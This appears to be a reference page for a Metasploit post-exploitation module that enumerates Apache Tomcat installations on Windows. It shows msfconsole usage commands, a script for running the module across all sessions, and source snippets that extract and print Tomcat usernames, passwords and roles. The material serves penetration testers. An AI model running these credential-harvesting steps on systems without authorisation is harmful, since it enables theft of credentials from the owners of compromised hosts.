Windows Gather Apache Tomcat Enumeration - Metasploit


This page contains detailed information about how to use the post/windows/gather/enum_tomcat metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Apache Tomcat Enumeration
Module: post/windows/gather/enum_tomcat
Source code: modules/post/windows/gather/enum_tomcat.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect information from a Windows-based Apache Tomcat. You will get information such as: The installation path, Tomcat version, port, web applications, users, passwords, roles, etc.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/enum_tomcat

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/enum_tomcat
msf post(enum_tomcat) > show options
    ... show and set options ...
msf post(enum_tomcat) > set SESSION session-id
msf post(enum_tomcat) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/enum_tomcat")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/enum_tomcat post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/enum_tomcat

msf6 post(windows/gather/enum_tomcat) > show info

       Name: Windows Gather Apache Tomcat Enumeration
     Module: post/windows/gather/enum_tomcat
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Barry Shteiman <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect information from a Windows-based Apache 
  Tomcat. You will get information such as: The installation path, 
  Tomcat version, port, web applications, users, passwords, roles, 
  etc.

Module Options


This is a complete list of options available in the windows/gather/enum_tomcat post exploitation module:

msf6 post(windows/gather/enum_tomcat) > show options

Module options (post/windows/gather/enum_tomcat):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/enum_tomcat post exploitation module:

msf6 post(windows/gather/enum_tomcat) > show advanced

Module advanced options (post/windows/gather/enum_tomcat):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/enum_tomcat module can do:

msf6 post(windows/gather/enum_tomcat) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/enum_tomcat post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/enum_tomcat) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Done, Tomcat Not Found


Here is a relevant code snippet related to the "Done, Tomcat Not Found" error message:

40:	        installs.each do |inst|
41:	          results += enumerate_tomcat(inst[0],inst[1])
42:	          users += enumerate_tomcat_creds(inst[0])
43:	        end
44:	      else
45:	        print_status("Done, Tomcat Not Found")
46:	        return
47:	      end
48:	    end
49:	    if results.empty?
50:	      print_status("Done, Tomcat Not Found")

Done, Tomcat Not Found


Here is a relevant code snippet related to the "Done, Tomcat Not Found" error message:

45:	        print_status("Done, Tomcat Not Found")
46:	        return
47:	      end
48:	    end
49:	    if results.empty?
50:	      print_status("Done, Tomcat Not Found")
51:	      return
52:	    end
53:	    print_status("Done, Tomcat Found.")
54:	
55:	    tbl_services = Rex::Text::Table.new(

tomcat configuration not found


Here is a relevant code snippet related to the "tomcat configuration not found" error message:

112:	    found = false
113:	    print_good("\t\t+ Version: #{val_version}")
114:	    print_good("\t\t+ Path: #{val_installpath}")
115:	
116:	    if not exist?(val_installpath + "\\conf\\server.xml")
117:	      print_error("\t\t! tomcat configuration not found")
118:	      return results
119:	    end
120:	
121:	    appname = find_application_name(val_installpath)
122:	

port not found


Here is a relevant code snippet related to the "port not found" error message:

132:	      results << [session.sock.peerhost,"#{val_version}",p,appname]
133:	    end
134:	    if found
135:	      print_good("\t\t+ Application: [#{appname}]")
136:	    else
137:	      print_error("\t\t! port not found")
138:	    end
139:	    return results
140:	  rescue
141:	    print_error("\t\t! could not identify information")
142:	    return results || []

could not identify information


Here is a relevant code snippet related to the "could not identify information" error message:

136:	    else
137:	      print_error("\t\t! port not found")
138:	    end
139:	    return results
140:	  rescue
141:	    print_error("\t\t! could not identify information")
142:	    return results || []
143:	  end
144:	
145:	  # enumerate tomcat users from its user base
146:	  def enumerate_tomcat_creds(val_installpath)

No Users Found


Here is a relevant code snippet related to the "No Users Found" error message:

160:	          end
161:	          users << [ e_user,e.attributes['password'],e.attributes['roles'] ]
162:	          print_good("\t\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]")
163:	        end
164:	      else
165:	        print_error("\t\t! No Users Found")
166:	        return users
167:	      end
168:	    end
169:	
170:	    return users

could not identify users


Here is a relevant code snippet related to the "could not identify users" error message:

167:	      end
168:	    end
169:	
170:	    return users
171:	  rescue
172:	    print_error("\t\t! could not identify users")
173:	    return users || []
174:	  end
175:	
176:	  ### helper functions ###
177:	

failed to locate install path


Here is a relevant code snippet related to the "failed to locate install path" error message:

199:	        end
200:	      end
201:	    end
202:	    return values
203:	  rescue
204:	    print_error("\t\t! failed to locate install path")
205:	    return nil || []
206:	  end
207:	
208:	  #this function extracts the application name from the main page of the web application
209:	  def find_application_name(val_installpath)

expected directory wasnt found


Here is a relevant code snippet related to the "expected directory wasnt found" error message:

208:	  #this function extracts the application name from the main page of the web application
209:	  def find_application_name(val_installpath)
210:	    index_file = ['index.html','index.htm','index.php','index.jsp','index.asp']
211:	    path = val_installpath + "\\webapps"
212:	    if not directory?(path + "\\ROOT")
213:	      print_error("\t\t! expected directory wasnt found")
214:	      return "Unknown"
215:	    end
216:	
217:	    index_file.each do |i|
218:	      if not exist?("#{path}\\ROOT\\#{i}")

could not identify application name


Here is a relevant code snippet related to the "could not identify application name" error message:

226:	        if data =~ /(?i)onload=\"?document\.location\=['"]?([\/\w\d]+)['"]?\"?/
227:	          return $1.gsub("/","")
228:	        end
229:	      end
230:	    end
231:	    return "Unknown"
232:	  rescue
233:	    print_error("\t\t! could not identify application name")
234:	    return "Unknown"
235:	  end
236:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Barry Shteiman <barry[at]sectorix.com>

Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.